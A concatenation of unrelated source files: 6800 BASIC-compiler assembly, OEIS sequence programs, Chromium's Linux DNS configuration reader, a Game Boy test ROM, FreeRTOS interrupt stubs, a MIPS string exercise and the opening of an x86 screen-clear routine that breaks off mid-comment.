LLAST
; END
.byte bytecode_progend
; Library Catalog
bytecode_clear .equ 0
bytecode_ld_ir1_pb .equ 1
bytecode_ld_ir2_pb .equ 2
bytecode_progbegin .equ 3
bytecode_progend .equ 4
bytecode_setc_ir1_ir2_pb .equ 5
catalog
.word clear
.word ld_ir1_pb
.word ld_ir2_pb
.word progbegin
.word progend
.word setc_ir1_ir2_pb
.module mdbcode
noargs
ldx curinst
inx
stx nxtinst
rts
extend
ldx curinst
inx
ldab ,x
inx
stx nxtinst
ldx #symtbl
abx
abx
ldx ,x
rts
getaddr
ldd curinst
addd #3
std nxtinst
ldx curinst
ldx 1,x
rts
getbyte
ldx curinst
inx
ldab ,x
inx
stx nxtinst
rts
getword
ldx curinst
inx
ldd ,x
inx
inx
stx nxtinst
rts
extbyte
ldd curinst
addd #3
std nxtinst
ldx curinst
ldab 2,x
pshb
ldab 1,x
ldx #symtbl
abx
abx
ldx ,x
pulb
rts
extword
ldd curinst
addd #4
std nxtinst
ldx curinst
ldd 2,x
pshb
ldab 1,x
ldx #symtbl
abx
abx
ldx ,x
pulb
rts
byteext
ldd curinst
addd #3
std nxtinst
ldx curinst
ldab 1,x
pshb
ldab 2,x
ldx #symtbl
abx
abx
ldx ,x
pulb
rts
wordext
ldd curinst
addd #4
std nxtinst
ldx curinst
ldd 1,x
pshb
ldab 3,x
ldx #symtbl
abx
abx
ldx ,x
pulb
rts
immstr
ldx curinst
inx
ldab ,x
inx
pshx
abx
stx nxtinst
pulx
rts
.module mdprint
print
_loop
ldaa ,x
jsr R_PUTC
inx
decb
bne _loop
rts
.module mdset
; set pixel with existing color
; ENTRY: ACCA holds X, ACCB holds Y
set
bsr getxym
ldab ,x
bmi doset
clrb
doset
andb #$70
ldaa $82
psha
stab $82
jsr R_SETPX
pula
staa $82
rts
getxym
anda #$1f
andb #$3f
pshb
tab
jmp R_MSKPX
.module mdsetc
; set pixel with color
; ENTRY: X holds byte-to-modify, ACCB holds color
setc
decb
bmi _loadc
lslb
lslb
lslb
lslb
bra _ok
_loadc
ldab ,x
bmi _ok
clrb
_ok
bra doset
clear ; numCalls = 1
.module modclear
jsr noargs
clra
ldx #bss
bra _start
_again
staa ,x
inx
_start
cpx #bes
bne _again
stx strbuf
stx strend
inx
inx
stx strfree
ldx #$8FFF
stx strstop
ldx #startdata
stx dataptr
rts
ld_ir1_pb ; numCalls = 1
.module modld_ir1_pb
jsr getbyte
stab r1+2
ldd #0
std r1
rts
ld_ir2_pb ; numCalls = 1
.module modld_ir2_pb
jsr getbyte
stab r2+2
ldd #0
std r2
rts
progbegin ; numCalls = 1
.module modprogbegin
jsr noargs
ldx R_MCXID
cpx #'h'*256+'C'
bne _mcbasic
pulx
clrb
pshb
pshb
pshb
stab strtcnt
jmp ,x
_reqmsg .text "?MICROCOLOR BASIC ROM REQUIRED"
_mcbasic
ldx #_reqmsg
ldab #30
jsr print
pulx
rts
progend ; numCalls = 1
.module modprogend
jsr noargs
pulx
pula
pula
pula
jsr R_RESET
jmp R_DMODE
NF_ERROR .equ 0
RG_ERROR .equ 4
OD_ERROR .equ 6
FC_ERROR .equ 8
OV_ERROR .equ 10
OM_ERROR .equ 12
BS_ERROR .equ 16
DD_ERROR .equ 18
LS_ERROR .equ 28
error
jmp R_ERROR
setc_ir1_ir2_pb ; numCalls = 1
.module modsetc_ir1_ir2_pb
jsr getbyte
pshb
ldaa r2+2
ldab r1+2
jsr getxym
pulb
jmp setc
; data table
startdata
enddata
; Bytecode symbol lookup table
symtbl
; block started by symbol
bss
; Numeric Variables
; String Variables
; Numeric Arrays
; String Arrays
; block ended by symbol
bes
.end
|
; A321295: a(n) = n * sigma_n(n).
; 1,10,84,1092,15630,284700,5764808,134744072,3486961557,100097666500,3138428376732,107019534520152,3937376385699302,155577590681061500,6568408813691796120,295152408847700721680,14063084452067724991026,708238048886859220660710,37589973457545958193355620,2097154000001929338886339560,122694327397835096314419994272,7511415092873316773201064686620,480250763996501976790165756943064,32009660552444602391661383907366192,2220446049250313088297843933105468775,160059111470452675105697564618540144900
add $0,1
mov $2,$0
lpb $0
mov $3,$2
dif $3,$0
mov $4,$3
cmp $3,$2
cmp $3,0
mul $3,$0
sub $0,1
pow $3,$2
add $1,$3
lpe
add $1,1
mul $4,$1
mov $0,$4
|
; A168090: a(n) = (1 - (n mod 3) mod 2)*2^(floor(n/3) + (n mod 3)/2 ).
; 1,0,2,2,0,4,4,0,8,8,0,16,16,0,32,32,0,64,64,0,128,128,0,256,256,0,512,512,0,1024,1024,0,2048,2048,0,4096,4096,0,8192,8192,0,16384,16384,0,32768,32768,0,65536,65536,0,131072,131072,0,262144,262144,0,524288,524288,0,1048576,1048576,0,2097152,2097152,0,4194304,4194304,0,8388608,8388608,0,16777216,16777216,0,33554432,33554432,0,67108864,67108864,0,134217728,134217728,0,268435456,268435456,0,536870912,536870912,0,1073741824,1073741824,0,2147483648,2147483648,0,4294967296,4294967296,0,8589934592,8589934592,0,17179869184,17179869184,0,34359738368,34359738368,0,68719476736,68719476736,0,137438953472,137438953472,0,274877906944,274877906944,0,549755813888,549755813888,0,1099511627776,1099511627776,0,2199023255552,2199023255552,0,4398046511104,4398046511104,0,8796093022208,8796093022208,0,17592186044416,17592186044416,0,35184372088832,35184372088832,0,70368744177664,70368744177664,0,140737488355328,140737488355328,0,281474976710656,281474976710656,0,562949953421312,562949953421312,0,1125899906842624,1125899906842624,0,2251799813685248,2251799813685248,0,4503599627370496,4503599627370496,0,9007199254740992,9007199254740992,0
mul $0,2
mov $1,1
lpb $0
sub $0,2
trn $0,1
mul $3,2
mov $2,$3
mov $3,$1
mov $1,$2
lpe
|
// Copyright 2021 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "net/dns/dns_config_service_linux.h"
#include <netdb.h>
#include <netinet/in.h>
#include <resolv.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <map>
#include <memory>
#include <string>
#include <type_traits>
#include <utility>
#include <vector>
#include "base/bind.h"
#include "base/callback.h"
#include "base/check.h"
#include "base/files/file_path.h"
#include "base/files/file_path_watcher.h"
#include "base/location.h"
#include "base/logging.h"
#include "base/memory/scoped_refptr.h"
#include "base/metrics/histogram_macros.h"
#include "base/sequence_checker.h"
#include "base/threading/scoped_blocking_call.h"
#include "base/time/time.h"
#include "net/base/ip_endpoint.h"
#include "net/dns/dns_config.h"
#include "net/dns/nsswitch_reader.h"
#include "net/dns/public/resolv_reader.h"
#include "net/dns/serial_worker.h"
#include "third_party/abseil-cpp/absl/types/optional.h"
namespace net {
namespace internal {
namespace {
const base::FilePath::CharType kFilePathHosts[] =
FILE_PATH_LITERAL("/etc/hosts");
#ifndef _PATH_RESCONF // Normally defined in <resolv.h>
#define _PATH_RESCONF FILE_PATH_LITERAL("/etc/resolv.conf")
#endif
constexpr base::FilePath::CharType kFilePathResolv[] = _PATH_RESCONF;
#ifndef _PATH_NSSWITCH_CONF // Normally defined in <netdb.h>
#define _PATH_NSSWITCH_CONF FILE_PATH_LITERAL("/etc/nsswitch.conf")
#endif
constexpr base::FilePath::CharType kFilePathNsswitch[] = _PATH_NSSWITCH_CONF;
absl::optional<DnsConfig> ConvertResStateToDnsConfig(
const struct __res_state& res) {
absl::optional<std::vector<net::IPEndPoint>> nameservers =
GetNameservers(res);
DnsConfig dns_config;
dns_config.unhandled_options = false;
if (!nameservers.has_value())
return absl::nullopt;
// Expected to be validated by GetNameservers()
DCHECK(res.options & RES_INIT);
dns_config.nameservers = std::move(nameservers.value());
dns_config.search.clear();
for (int i = 0; (i < MAXDNSRCH) && res.dnsrch[i]; ++i) {
dns_config.search.emplace_back(res.dnsrch[i]);
}
dns_config.ndots = res.ndots;
dns_config.fallback_period = base::Seconds(res.retrans);
dns_config.attempts = res.retry;
#if defined(RES_ROTATE)
dns_config.rotate = res.options & RES_ROTATE;
#endif
#if !defined(RES_USE_DNSSEC)
// Some versions of libresolv don't have support for the DO bit. In this
// case, we proceed without it.
static const int RES_USE_DNSSEC = 0;
#endif
// The current implementation assumes these options are set. They normally
// cannot be overwritten by /etc/resolv.conf
const unsigned kRequiredOptions = RES_RECURSE | RES_DEFNAMES | RES_DNSRCH;
if ((res.options & kRequiredOptions) != kRequiredOptions) {
dns_config.unhandled_options = true;
return dns_config;
}
const unsigned kUnhandledOptions = RES_USEVC | RES_IGNTC | RES_USE_DNSSEC;
if (res.options & kUnhandledOptions) {
dns_config.unhandled_options = true;
return dns_config;
}
if (dns_config.nameservers.empty())
return absl::nullopt;
// If any name server is 0.0.0.0, assume the configuration is invalid.
for (const IPEndPoint& nameserver : dns_config.nameservers) {
if (nameserver.address().IsZero())
return absl::nullopt;
}
return dns_config;
}
// Helper to add the effective result of `action` to `in_out_parsed_behavior`.
// Returns false if `action` results in inconsistent behavior (setting an action
// for a status that already has a different action).
bool SetActionBehavior(const NsswitchReader::ServiceAction& action,
std::map<NsswitchReader::Status, NsswitchReader::Action>&
in_out_parsed_behavior) {
if (action.negated) {
for (NsswitchReader::Status status :
{NsswitchReader::Status::kSuccess, NsswitchReader::Status::kNotFound,
NsswitchReader::Status::kUnavailable,
NsswitchReader::Status::kTryAgain}) {
if (status != action.status) {
NsswitchReader::ServiceAction effective_action = {
/*negated=*/false, status, action.action};
if (!SetActionBehavior(effective_action, in_out_parsed_behavior))
return false;
}
}
} else {
if (in_out_parsed_behavior.count(action.status) >= 1 &&
in_out_parsed_behavior[action.status] != action.action) {
return false;
}
in_out_parsed_behavior[action.status] = action.action;
}
return true;
}
// Helper to determine if `actions` match `expected_actions`, meaning `actions`
// contains no unknown statuses or actions and for every expectation set in
// `expected_actions`, the expected action matches the effective result from
// `actions`.
bool AreActionsCompatible(
const std::vector<NsswitchReader::ServiceAction>& actions,
const std::map<NsswitchReader::Status, NsswitchReader::Action>
expected_actions) {
std::map<NsswitchReader::Status, NsswitchReader::Action> parsed_behavior;
for (const NsswitchReader::ServiceAction& action : actions) {
if (action.status == NsswitchReader::Status::kUnknown ||
action.action == NsswitchReader::Action::kUnknown) {
return false;
}
if (!SetActionBehavior(action, parsed_behavior))
return false;
}
// Default behavior if not configured.
if (parsed_behavior.count(NsswitchReader::Status::kSuccess) == 0)
parsed_behavior[NsswitchReader::Status::kSuccess] =
NsswitchReader::Action::kReturn;
if (parsed_behavior.count(NsswitchReader::Status::kNotFound) == 0)
parsed_behavior[NsswitchReader::Status::kNotFound] =
NsswitchReader::Action::kContinue;
if (parsed_behavior.count(NsswitchReader::Status::kUnavailable) == 0)
parsed_behavior[NsswitchReader::Status::kUnavailable] =
NsswitchReader::Action::kContinue;
if (parsed_behavior.count(NsswitchReader::Status::kTryAgain) == 0)
parsed_behavior[NsswitchReader::Status::kTryAgain] =
NsswitchReader::Action::kContinue;
for (const std::pair<const NsswitchReader::Status, NsswitchReader::Action>&
expected : expected_actions) {
if (parsed_behavior[expected.first] != expected.second)
return false;
}
return true;
}
// These values are emitted in metrics. Entries should not be renumbered and
// numeric values should never be reused. (See NsswitchIncompatibleReason in
// tools/metrics/histograms/enums.xml.)
enum class IncompatibleNsswitchReason {
kFilesMissing = 0,
kMultipleFiles = 1,
kBadFilesActions = 2,
kDnsMissing = 3,
kBadDnsActions = 4,
kBadMdnsMinimalActions = 5,
kBadOtherServiceActions = 6,
kUnknownService = 7,
kIncompatibleService = 8,
kMaxValue = kIncompatibleService
};
void RecordIncompatibleNsswitchReason(
IncompatibleNsswitchReason reason,
absl::optional<NsswitchReader::Service> service_token) {
UMA_HISTOGRAM_ENUMERATION("Net.DNS.DnsConfig.Nsswitch.IncompatibleReason",
reason);
if (service_token) {
UMA_HISTOGRAM_ENUMERATION("Net.DNS.DnsConfig.Nsswitch.IncompatibleService",
service_token.value());
}
}
bool IsNsswitchConfigCompatible(
const std::vector<NsswitchReader::ServiceSpecification>& nsswitch_hosts) {
bool files_found = false;
for (const NsswitchReader::ServiceSpecification& specification :
nsswitch_hosts) {
switch (specification.service) {
case NsswitchReader::Service::kUnknown:
RecordIncompatibleNsswitchReason(
IncompatibleNsswitchReason::kUnknownService, specification.service);
return false;
case NsswitchReader::Service::kFiles:
if (files_found) {
RecordIncompatibleNsswitchReason(
IncompatibleNsswitchReason::kMultipleFiles,
specification.service);
return false;
}
files_found = true;
// Chrome will use the result on HOSTS hit and otherwise continue to
// DNS. `kFiles` entries must match that behavior to be compatible.
if (!AreActionsCompatible(specification.actions,
{{NsswitchReader::Status::kSuccess,
NsswitchReader::Action::kReturn},
{NsswitchReader::Status::kNotFound,
NsswitchReader::Action::kContinue},
{NsswitchReader::Status::kUnavailable,
NsswitchReader::Action::kContinue},
{NsswitchReader::Status::kTryAgain,
NsswitchReader::Action::kContinue}})) {
RecordIncompatibleNsswitchReason(
IncompatibleNsswitchReason::kBadFilesActions,
specification.service);
return false;
}
break;
case NsswitchReader::Service::kDns:
if (!files_found) {
RecordIncompatibleNsswitchReason(
IncompatibleNsswitchReason::kFilesMissing,
/*service_token=*/absl::nullopt);
return false;
}
// Chrome will always stop if DNS finds a result or will otherwise
// fallback to the system resolver (and get whatever behavior is
// configured in nsswitch.conf), so the only compatibility requirement
// is that `kDns` entries are configured to return on success.
if (!AreActionsCompatible(specification.actions,
{{NsswitchReader::Status::kSuccess,
NsswitchReader::Action::kReturn}})) {
RecordIncompatibleNsswitchReason(
IncompatibleNsswitchReason::kBadDnsActions,
specification.service);
return false;
}
// Ignore any entries after `kDns` because Chrome will fallback to the
// system resolver if a result was not found in DNS.
return true;
case NsswitchReader::Service::kMdns:
case NsswitchReader::Service::kMdns4:
case NsswitchReader::Service::kMdns6:
case NsswitchReader::Service::kResolve:
RecordIncompatibleNsswitchReason(
IncompatibleNsswitchReason::kIncompatibleService,
specification.service);
return false;
case NsswitchReader::Service::kMdnsMinimal:
case NsswitchReader::Service::kMdns4Minimal:
case NsswitchReader::Service::kMdns6Minimal:
// Always compatible as long as `kUnavailable` is `kContinue` because
// the service is expected to always result in `kUnavailable` for any
// names Chrome would attempt to resolve (non-*.local names because
// Chrome always delegates *.local names to the system resolver).
if (!AreActionsCompatible(specification.actions,
{{NsswitchReader::Status::kUnavailable,
NsswitchReader::Action::kContinue}})) {
RecordIncompatibleNsswitchReason(
IncompatibleNsswitchReason::kBadMdnsMinimalActions,
specification.service);
return false;
}
break;
case NsswitchReader::Service::kMyHostname:
case NsswitchReader::Service::kNis:
// Similar enough to Chrome behavior (or unlikely to matter for Chrome
// resolutions) to be considered compatible unless the actions do
// something very weird to skip remaining services without a result.
if (!AreActionsCompatible(specification.actions,
{{NsswitchReader::Status::kNotFound,
NsswitchReader::Action::kContinue},
{NsswitchReader::Status::kUnavailable,
NsswitchReader::Action::kContinue},
{NsswitchReader::Status::kTryAgain,
NsswitchReader::Action::kContinue}})) {
RecordIncompatibleNsswitchReason(
IncompatibleNsswitchReason::kBadOtherServiceActions,
specification.service);
return false;
}
break;
}
}
RecordIncompatibleNsswitchReason(IncompatibleNsswitchReason::kDnsMissing,
/*service_token=*/absl::nullopt);
return false;
}
} // namespace
class DnsConfigServiceLinux::Watcher : public DnsConfigService::Watcher {
public:
explicit Watcher(DnsConfigServiceLinux& service)
: DnsConfigService::Watcher(service) {}
~Watcher() override = default;
Watcher(const Watcher&) = delete;
Watcher& operator=(const Watcher&) = delete;
bool Watch() override {
CheckOnCorrectSequence();
bool success = true;
if (!resolv_watcher_.Watch(
base::FilePath(kFilePathResolv),
base::FilePathWatcher::Type::kNonRecursive,
base::BindRepeating(&Watcher::OnResolvFilePathWatcherChange,
base::Unretained(this)))) {
LOG(ERROR) << "DNS config (resolv.conf) watch failed to start.";
success = false;
}
if (!nsswitch_watcher_.Watch(
base::FilePath(kFilePathNsswitch),
base::FilePathWatcher::Type::kNonRecursive,
base::BindRepeating(&Watcher::OnNsswitchFilePathWatcherChange,
base::Unretained(this)))) {
LOG(ERROR) << "DNS nsswitch.conf watch failed to start.";
success = false;
}
if (!hosts_watcher_.Watch(
base::FilePath(kFilePathHosts),
base::FilePathWatcher::Type::kNonRecursive,
base::BindRepeating(&Watcher::OnHostsFilePathWatcherChange,
base::Unretained(this)))) {
LOG(ERROR) << "DNS hosts watch failed to start.";
success = false;
}
return success;
}
private:
void OnResolvFilePathWatcherChange(const base::FilePath& path, bool error) {
UMA_HISTOGRAM_BOOLEAN("Net.DNS.DnsConfig.Resolv.FileChange", true);
OnConfigChanged(!error);
}
void OnNsswitchFilePathWatcherChange(const base::FilePath& path, bool error) {
UMA_HISTOGRAM_BOOLEAN("Net.DNS.DnsConfig.Nsswitch.FileChange", true);
OnConfigChanged(!error);
}
void OnHostsFilePathWatcherChange(const base::FilePath& path, bool error) {
OnHostsChanged(!error);
}
base::FilePathWatcher resolv_watcher_;
base::FilePathWatcher nsswitch_watcher_;
base::FilePathWatcher hosts_watcher_;
};
// A SerialWorker that uses libresolv to initialize res_state and converts
// it to DnsConfig.
class DnsConfigServiceLinux::ConfigReader : public SerialWorker {
public:
explicit ConfigReader(DnsConfigServiceLinux& service,
std::unique_ptr<ResolvReader> resolv_reader,
std::unique_ptr<NsswitchReader> nsswitch_reader)
: service_(&service),
resolv_reader_(std::move(resolv_reader)),
nsswitch_reader_(std::move(nsswitch_reader)) {
// Allow execution on another thread; nothing thread-specific about
// constructor.
DETACH_FROM_SEQUENCE(sequence_checker_);
DCHECK(resolv_reader_);
DCHECK(nsswitch_reader_);
}
ConfigReader(const ConfigReader&) = delete;
ConfigReader& operator=(const ConfigReader&) = delete;
void DoWork() override {
base::ScopedBlockingCall scoped_blocking_call(
FROM_HERE, base::BlockingType::MAY_BLOCK);
std::unique_ptr<struct __res_state> res = resolv_reader_->GetResState();
if (res) {
dns_config_ = ConvertResStateToDnsConfig(*res.get());
resolv_reader_->CloseResState(res.get());
}
UMA_HISTOGRAM_BOOLEAN("Net.DNS.DnsConfig.Resolv.Read",
dns_config_.has_value());
if (!dns_config_.has_value())
return;
UMA_HISTOGRAM_BOOLEAN("Net.DNS.DnsConfig.Resolv.Valid",
dns_config_->IsValid());
UMA_HISTOGRAM_BOOLEAN("Net.DNS.DnsConfig.Resolv.Compatible",
!dns_config_->unhandled_options);
// Override `fallback_period` value to match default setting on Windows.
dns_config_->fallback_period = kDnsDefaultFallbackPeriod;
if (dns_config_ && !dns_config_->unhandled_options) {
std::vector<NsswitchReader::ServiceSpecification> nsswitch_hosts =
nsswitch_reader_->ReadAndParseHosts();
UMA_HISTOGRAM_COUNTS_100("Net.DNS.DnsConfig.Nsswitch.NumServices",
nsswitch_hosts.size());
dns_config_->unhandled_options =
!IsNsswitchConfigCompatible(nsswitch_hosts);
UMA_HISTOGRAM_BOOLEAN("Net.DNS.DnsConfig.Nsswitch.Compatible",
!dns_config_->unhandled_options);
}
}
void OnWorkFinished() override {
DCHECK(!IsCancelled());
if (dns_config_.has_value()) {
service_->OnConfigRead(std::move(dns_config_).value());
} else {
LOG(WARNING) << "Failed to read DnsConfig.";
}
}
private:
~ConfigReader() override = default;
// Raw pointer to owning DnsConfigService. This must never be accessed inside
// DoWork(), since service may be destroyed while SerialWorker is running
// on worker thread.
DnsConfigServiceLinux* const service_;
// Written/accessed in DoWork, read in OnWorkFinished, no locking necessary.
absl::optional<DnsConfig> dns_config_;
std::unique_ptr<ResolvReader> resolv_reader_;
std::unique_ptr<NsswitchReader> nsswitch_reader_;
};
DnsConfigServiceLinux::DnsConfigServiceLinux()
: DnsConfigService(kFilePathHosts) {
// Allow constructing on one thread and living on another.
DETACH_FROM_SEQUENCE(sequence_checker_);
}
DnsConfigServiceLinux::~DnsConfigServiceLinux() {
if (config_reader_)
config_reader_->Cancel();
}
void DnsConfigServiceLinux::ReadConfigNow() {
if (!config_reader_)
CreateReader();
config_reader_->WorkNow();
}
bool DnsConfigServiceLinux::StartWatching() {
CreateReader();
watcher_ = std::make_unique<Watcher>(*this);
return watcher_->Watch();
}
void DnsConfigServiceLinux::CreateReader() {
DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
DCHECK(!config_reader_);
DCHECK(resolv_reader_);
DCHECK(nsswitch_reader_);
config_reader_ = base::MakeRefCounted<ConfigReader>(
*this, std::move(resolv_reader_), std::move(nsswitch_reader_));
}
} // namespace internal
// static
std::unique_ptr<DnsConfigService> DnsConfigService::CreateSystemService() {
return std::make_unique<internal::DnsConfigServiceLinux>();
}
} // namespace net
|
; A000846: C(3n,n) - C(2n,n).
; 0,1,9,64,425,2751,17640,112848,722601,4638205,29860259,192831288,1248973544,8112024844,52820112480,344712308064,2254247833257,14768735480505,96917273443305,636948624057900,4191706659276675,27618897144488595,182181063882796680,1202928742402461360,7950229414485345000,52588420730542455876,348130927011335067180,2306277500562425354608,15288827987378488127072,101416837899761667217320,673132856241998606368640,4470228986635969214494144,29701745940392525467315881,197443918885673965209307953,1313114756662103980539687285,8736699004679211700304973348,58152371261412566590210756361,387215994216510326817224559193,2579266122003791518901727767916,17186518533960876397392953446120,114556848137457957009773630430851,763815805262738353523289113667753,5094296464825652974531333069433055,33986135435016968235567975829158000,226796193771312818321166709969720200
mov $1,$0
mul $1,2
mov $2,$0
add $0,$1
bin $0,$2
bin $1,$2
sub $0,$1
|
.size 8000
.text@48
ld a, ff
ldff(45), a
jp lstatint
.text@100
jp lbegin
.text@150
lbegin:
ld a, ff
ldff(45), a
ld b, 97
call lwaitly_b
ld a, 40
ldff(41), a
ld a, 02
ldff(ff), a
xor a, a
ldff(0f), a
ei
ld a, b
inc a
inc a
ldff(45), a
ld c, 41
.text@1000
lstatint:
xor a, a
ldff(c), a
ldff(0f), a
.text@1061
ldff(c), a
ldff a, (0f)
and a, 07
jp lprint_a
.text@7000
lprint_a:
push af
ld b, 91
call lwaitly_b
xor a, a
ldff(40), a
pop af
ld(9800), a
ld bc, 7a00
ld hl, 8000
ld d, a0
lprint_copytiles:
ld a, (bc)
inc bc
ld(hl++), a
dec d
jrnz lprint_copytiles
ld a, c0
ldff(47), a
ld a, 80
ldff(68), a
ld a, ff
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
xor a, a
ldff(69), a
ldff(69), a
ldff(43), a
ld a, 91
ldff(40), a
lprint_limbo:
jr lprint_limbo
.text@7400
lwaitly_b:
ld c, 44
lwaitly_b_loop:
ldff a, (c)
cmp a, b
jrnz lwaitly_b_loop
ret
.data@7a00
00 00 7f 7f 41 41 41 41
41 41 41 41 41 41 7f 7f
00 00 08 08 08 08 08 08
08 08 08 08 08 08 08 08
00 00 7f 7f 01 01 01 01
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 01 01 01 01
3f 3f 01 01 01 01 7f 7f
00 00 41 41 41 41 41 41
7f 7f 01 01 01 01 01 01
00 00 7f 7f 40 40 40 40
7e 7e 01 01 01 01 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 41 41 41 41 7f 7f
00 00 7f 7f 01 01 02 02
04 04 08 08 10 10 10 10
00 00 3e 3e 41 41 41 41
3e 3e 41 41 41 41 3e 3e
00 00 7f 7f 41 41 41 41
7f 7f 01 01 01 01 7f 7f
|
; A137232: a(n) = -a(n-1) + 7*a(n-2) + 3*a(n-3) with a(0) = a(1) = 0, a(2) = 1.
; Submitted by Christian Krause
; 0,0,1,-1,8,-12,65,-125,544,-1224,4657,-11593,40520,-107700,356561,-988901,3161728,-9014352,28179745,-81795025,252010184,-740036124,2258722337,-6682944653,20273892640,-60278338200,182146752721,-543273442201,1637465696648,-4893939533892,14726379083825,-44071558731125,132474393716224,-396796167582624,1191902247402817,-3572052239332513,10724979468404360,-32153638401523500,96512337962356481,-289412868367807901,868538318899732768,-2604891383587318632,7816421010782024305,-23445045739194056425
mov $2,1
lpb $0
sub $0,1
mul $1,-3
add $1,$4
mov $3,$4
mov $4,$2
add $2,$3
add $2,$4
lpe
mov $0,$1
|
/*
* FreeRTOS Kernel V10.3.0
* Copyright (C) 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of
* this software and associated documentation files (the "Software"), to deal in
* the Software without restriction, including without limitation the rights to
* use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
* the Software, and to permit persons to whom the Software is furnished to do so,
* subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
* http://www.FreeRTOS.org
* http://aws.amazon.com/freertos
*
* 1 tab == 4 spaces!
*/
SECTION intvec:CODE:ROOT(2)
ARM
EXTERN pxISRFunction
EXTERN FreeRTOS_Tick_Handler
EXTERN FreeRTOS_IRQ_Handler
EXTERN vCMT_1_Channel_0_ISR
EXTERN vCMT_1_Channel_1_ISR
EXTERN r_scifa2_txif2_interrupt
EXTERN r_scifa2_rxif2_interrupt
EXTERN r_scifa2_drif2_interrupt
EXTERN r_scifa2_brif2_interrupt
PUBLIC FreeRTOS_Tick_Handler_Entry
PUBLIC vCMT_1_Channel_0_ISR_Entry
PUBLIC vCMT_1_Channel_1_ISR_Entry
PUBLIC r_scifa2_txif2_interrupt_entry
PUBLIC r_scifa2_rxif2_interrupt_entry
PUBLIC r_scifa2_drif2_interrupt_entry
PUBLIC r_scifa2_brif2_interrupt_entry
FreeRTOS_Tick_Handler_Entry:
/* Save used registers (probably not necessary). */
PUSH {r0-r1}
/* Save the address of the C portion of this handler in pxISRFunction. */
LDR r0, =pxISRFunction
LDR R1, =FreeRTOS_Tick_Handler
STR R1, [r0]
/* Restore used registers then branch to the FreeRTOS IRQ handler. */
POP {r0-r1}
B FreeRTOS_IRQ_Handler
/*-----------------------------------------------------------*/
vCMT_1_Channel_0_ISR_Entry:
/* Save used registers (probably not necessary). */
PUSH {r0-r1}
/* Save the address of the C portion of this handler in pxISRFunction. */
LDR r0, =pxISRFunction
LDR R1, =vCMT_1_Channel_0_ISR
STR R1, [r0]
/* Restore used registers then branch to the FreeRTOS IRQ handler. */
POP {r0-r1}
B FreeRTOS_IRQ_Handler
/*-----------------------------------------------------------*/
vCMT_1_Channel_1_ISR_Entry:
/* Save used registers (probably not necessary). */
PUSH {r0-r1}
/* Save the address of the C portion of this handler in pxISRFunction. */
LDR r0, =pxISRFunction
LDR R1, =vCMT_1_Channel_1_ISR
STR R1, [r0]
/* Restore used registers then branch to the FreeRTOS IRQ handler. */
POP {r0-r1}
B FreeRTOS_IRQ_Handler
/*-----------------------------------------------------------*/
r_scifa2_txif2_interrupt_entry:
/* Save used registers (probably not necessary). */
PUSH {r0-r1}
/* Save the address of the C portion of this handler in pxISRFunction. */
LDR r0, =pxISRFunction
LDR R1, =r_scifa2_txif2_interrupt
STR R1, [r0]
/* Restore used registers then branch to the FreeRTOS IRQ handler. */
POP {r0-r1}
B FreeRTOS_IRQ_Handler
/*-----------------------------------------------------------*/
r_scifa2_rxif2_interrupt_entry:
/* Save used registers (probably not necessary). */
PUSH {r0-r1}
/* Save the address of the C portion of this handler in pxISRFunction. */
LDR r0, =pxISRFunction
LDR R1, =r_scifa2_rxif2_interrupt
STR R1, [r0]
/* Restore used registers then branch to the FreeRTOS IRQ handler. */
POP {r0-r1}
B FreeRTOS_IRQ_Handler
/*-----------------------------------------------------------*/
r_scifa2_drif2_interrupt_entry:
/* Save used registers (probably not necessary). */
PUSH {r0-r1}
/* Save the address of the C portion of this handler in pxISRFunction. */
LDR r0, =pxISRFunction
LDR R1, =r_scifa2_drif2_interrupt
STR R1, [r0]
/* Restore used registers then branch to the FreeRTOS IRQ handler. */
POP {r0-r1}
B FreeRTOS_IRQ_Handler
/*-----------------------------------------------------------*/
r_scifa2_brif2_interrupt_entry:
/* Save used registers (probably not necessary). */
PUSH {r0-r1}
/* Save the address of the C portion of this handler in pxISRFunction. */
LDR r0, =pxISRFunction
LDR R1, =r_scifa2_brif2_interrupt
STR R1, [r0]
/* Restore used registers then branch to the FreeRTOS IRQ handler. */
POP {r0-r1}
B FreeRTOS_IRQ_Handler
END
|
# RAGGRUPPA TUTTE LE LETTERE ALL'INIZIO E GLI ALTRI CARATTERI ALLA FINE
.data
richiesta: .asciiz "inserire una stringa (max 100 caratteri)\n"
stringa: .space 31
.text
li $v0,4
la $a0,richiesta
syscall
li $v0,8
la $a0,stringa
la $a1,30
syscall
len:
lb $s0,stringa($s1)
beq $s0,10,main
addi $s1,$s1,1
addi $s2,$s2,1
j len
main:
subi $s2,$s2,1
jal raggruppa
li $v0,4
la $a0,stringa
syscall
li $v0,10
syscall
raggruppa:
bge $t0,$s2,JR
lb $t1,stringa($t0)
j verifica
scambia:
lb $t8,stringa($s2)
sb $t1,stringa($s2)
sb $t8,stringa($t0)
subi $s2,$s2,1
j raggruppa
verifica:
sle $t2,$t1,'Z'
sge $t3,$t1,'A'
and $t4,$t2,$t3
sle $t2,$t1,'z'
sge $t3,$t1,'a'
and $t5,$t2,$t3
or $t6,$t4,$t5
beq $t6,0,scambia
addi $t0,$t0,1
j raggruppa
JR:
jr $ra
|
;
; Protected Mode
;
; clear.asm
;
[bits 32]
; Clear the VGA memory. (AKA write blank spaces to every character slot)
; This function takes no arguments
clear_protected:
; The pusha command stores the values of all
